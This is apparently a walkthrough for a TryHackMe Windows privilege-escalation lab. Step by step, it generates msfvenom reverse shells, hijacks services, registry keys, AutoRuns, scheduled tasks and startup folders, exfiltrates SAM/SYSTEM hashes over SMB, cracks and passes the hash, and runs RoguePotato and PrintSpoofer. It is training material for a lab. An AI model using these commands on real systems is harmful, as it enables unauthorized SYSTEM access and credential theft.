Windows PrivEsc

Room Link: https://tryhackme.com/r/room/windows10privesc

Generate a Reverse Shell Executable

On Kali, generate a reverse shell executable (reverse.exe) using msfvenom. Update the LHOST IP address accordingly:

Kali

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=54 -f exe -o reverse.exe

Transfer the reverse.exe file to the C:\PrivEsc directory on Windows. There are many ways you could do this, however the simplest is to start an SMB server on Kali in the same directory as the file, and then use the standard Windows copy command to transfer the file.

On Kali, in the same directory as reverse.exe:

Kali

ss -lptn 'sport = :139'
kill -9 $PID
sudo python3.9 /opt/impacket/build/scripts-3.9/smbserver.py kali . 

On Windows (update the IP address with your Kali IP):

Victim

xfreerdp +clipboard /u:user /p:password321 /cert:ignore /v:$VICTIM /size:1024x568 

Victim

copy \\$KALI\kali\reverse.exe C:\PrivEsc\reverse.exe

Test the reverse shell by setting up a netcat listener on Kali:

Kali

rlwrap nc -nvlp 54 

Then run the reverse.exe executable on Windows and catch the shell:

Victim

C:\PrivEsc\reverse.exe 

The reverse.exe executable will be used in many of the tasks in this room, so don't delete it!

Service Exploits - Insecure Service Permissions

Use accesschk.exe to check the "user" account's permissions on the "daclsvc" service:

Victim

C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc

Note that the "user" account has the permission to change the service config (SERVICE_CHANGE_CONFIG).

Query the service and note that it runs with SYSTEM privileges (SERVICE_START_NAME):

Victim

sc qc daclsvc

Modify the service config and set the BINARY_PATH_NAME (binpath) to the reverse.exe executable you created:

Victim

sc config daclsvc binpath="\"C:\PrivEsc\reverse.exe\""

sc qc daclsvc

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

Kali

rlwrap nc -nvlp 54 

Victim

net start daclsvc

Service Exploits - Unquoted Service Path

Query the "unquotedsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME) and that the BINARY_PATH_NAME is unquoted and contains spaces.

VICTIM

sc qc unquotedsvc

Using accesschk.exe, note that the BUILTIN\Users group is allowed to write to the C:\Program Files\Unquoted Path Service\ directory:

Victim

C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

Copy the reverse.exe executable you created to this directory and rename it Common.exe:

Victim

copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

Kali

rlwrap nc -nvlp 54 

Victim

net start unquotedsvc

Service Exploits - Weak Registry Permissions

Query the "regsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).

Victim

sc qc regsvc

Using accesschk.exe, note that the registry entry for the regsvc service is writable by the "NT AUTHORITY\INTERACTIVE" group (essentially all logged-on users):

Victim

C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

Overwrite the ImagePath registry key to point to the reverse.exe executable you created:

Victim

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

Kali

rlwrap nc -nvlp 54 

Victim

net start regsvc

Service Exploits - Insecure Service Executables

Query the "filepermsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).

Victim

sc qc filepermsvc

Using accesschk.exe, note that the service binary (BINARY_PATH_NAME) file is writable by everyone:

Victim

C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

Copy the reverse.exe executable you created and replace the filepermservice.exe with it:

Victim

copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

Kali

rlwrap nc -nvlp 54 

Victim

net start filepermsvc

Registry - AutoRuns

Query the registry for AutoRun executables:

Victim

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Using accesschk.exe, note that one of the AutoRun executables is writable by everyone:

Victim

C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

Copy the reverse.exe executable you created and overwrite the AutoRun executable with it:

Victim

copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y

Start a listener on Kali and then restart the Windows VM. Open up a new RDP session to trigger a reverse shell running with admin privileges. You should not have to authenticate to trigger it, however if the payload does not fire, log in as an admin (admin/password123) to trigger it. Note that in a real world engagement, you would have to wait for an administrator to log in themselves!

Kali

rlwrap nc -nvlp 54 

Kali

xfreerdp /u:admin /p:password123 /cert:ignore /v:$VICTIM

Registry - AlwaysInstallElevated

Query the registry for AlwaysInstallElevated keys:

Victim

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Note that both keys are set to 1 (0x1).

On Kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom. Update the LHOST IP address accordingly: Kali

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=54 -f msi -o reverse.msi

Transfer the reverse.msi file to the C:\PrivEsc directory on Windows (use the SMB server method from earlier).

Kali

sudo python3.9 /opt/impacket/build/scripts-3.9/smbserver.py kali . 

Victim

copy \\$KALI\kali\reverse.msi C:\PrivEsc\reverse.msi

Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges:

Kali

rlwrap nc -nvlp 54

Victim

msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

Passwords - Registry

(For some reason sometimes the password does not get stored in the registry. If this is the case, use the following as the answer: password123)

The registry can be searched for keys and values that contain the word "password":

Victim

reg query HKLM /f password /t REG_SZ /s

If you want to save some time, query this specific key to find admin AutoLogon credentials:

Victim

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

On Kali, use the winexe command to spawn a command prompt running with the admin privileges (update the password with the one you found):

Kali

winexe -U 'admin%password' //$VICTIM cmd.exe

Passwords - Saved Creds

List any saved credentials:

Victim

cmdkey /list

Note that credentials for the "admin" user are saved. If they aren't, run the C:\PrivEsc\savecred.bat script to refresh the saved credentials.

Start a listener on Kali and run the reverse.exe executable using runas with the admin user's saved credentials:

Kali

rlwrap nc -nvlp 54

Victim

runas /savecred /user:admin C:\PrivEsc\reverse.exe

Passwords - Security Account Manager (SAM)

The SAM and SYSTEM files can be used to extract user password hashes. This VM has insecurely stored backups of the SAM and SYSTEM files in the C:\Windows\Repair\ directory.

Transfer the SAM and SYSTEM files to your Kali VM:

Kali

sudo python3.9 /opt/impacket/build/scripts-3.9/smbserver.py kali . 

Victim

copy C:\Windows\Repair\SAM \\$KALI\kali\
copy C:\Windows\Repair\SYSTEM \\$KALI\kali\

On Kali, clone the creddump7 repository (the one on Kali is outdated and will not dump hashes correctly for Windows 10!) and use it to dump out the hashes from the SAM and SYSTEM files:

Kali

git clone https://github.com/Tib3rius/creddump7
pip3 install pycrypto
python3 creddump7/pwdump.py SYSTEM SAM

Crack the admin NTLM hash using hashcat:

Kali

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt  --force
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt  --show

You can use the cracked password to log in as the admin using winexe or RDP.

Passwords - Passing the Hash

Why crack a password hash when you can authenticate using the hash?

Use the full admin hash with pth-winexe to spawn a shell running as admin without needing to crack their password. Remember the full hash includes both the LM and NTLM hash, separated by a colon:

pip3 install impacket --force-reinstall --ignore-installed
psexec.py -hashes a9fdfa038c4b75ebc76dc855dd74f0da:a9fdfa038c4b75ebc76dc855dd74f0da admin@$VICTIM

Scheduled Tasks

View the contents of the C:\DevTools\CleanUp.ps1 script:

Victim

type C:\DevTools\CleanUp.ps1

The script seems to be running as SYSTEM every minute. Using accesschk.exe, note that you have the ability to write to this file:

Victim

C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

Start a listener on Kali and then append a line to the C:\DevTools\CleanUp.ps1 which runs the reverse.exe executable you created:

Kali

rlwrap nc -nvlp 54 

Victim

echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1

Wait for the Scheduled Task to run, which should trigger the reverse shell as SYSTEM.

Insecure GUI Apps

Start an RDP session as the "user" account:

Victim

xfreerdp +clipboard /u:user /p:password321 /cert:ignore /v:$VICTIM /size:1024x568 

Double-click the "AdminPaint" shortcut on your Desktop. Once it is running, open a command prompt and note that Paint is running with admin privileges:

Victim

tasklist /V | findstr mspaint.exe

In Paint, click "File" and then "Open". In the open file dialog box, click in the navigation input and paste: file://c:/windows/system32/cmd.exe

Press Enter to spawn a command prompt running with admin privileges.

Startup Apps

Using accesschk.exe, note that the BUILTIN\Users group can write files to the StartUp directory:

Victim

C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

Using cscript, run the C:\PrivEsc\CreateShortcut.vbs script which should create a new shortcut to your reverse.exe executable in the StartUp directory:

Victim

cscript C:\PrivEsc\CreateShortcut.vbs

Start a listener on Kali, and then simulate an admin logon using RDP and the credentials you previously extracted:

Kali

rlwrap nc -nvlp 54 

Victim

xfreerdp +clipboard /u:admin /p:password321 /cert:ignore /v:$VICTIM /size:1024x568 

A shell running as admin should connect back to your listener.

Token Impersonation - Rogue Potato

Set up a socat redirector on Kali, forwarding Kali port 135 to port 9999 on Windows:

Kali

sudo socat tcp-listen:135,reuseaddr,fork tcp:$VICTIM:9999

Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the "local service" account:

Victim

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

Start another listener on Kali.

Kali

rlwrap nc -nvlp 54 

Now, in the "local service" reverse shell you triggered, run the RoguePotato exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):

Victim

C:\PrivEsc\RoguePotato.exe -r $KALI -e "C:\PrivEsc\reverse.exe" -l 9999

Token Impersonation - PrintSpoofer

Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the "local service" account:

Kali

rlwrap nc -nvlp 54 

Victim

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

Start another listener on Kali.

Kali

rlwrap nc -nvlp 54 

Now, in the "local service" reverse shell you triggered, run the PrintSpoofer exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):

Victim

C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i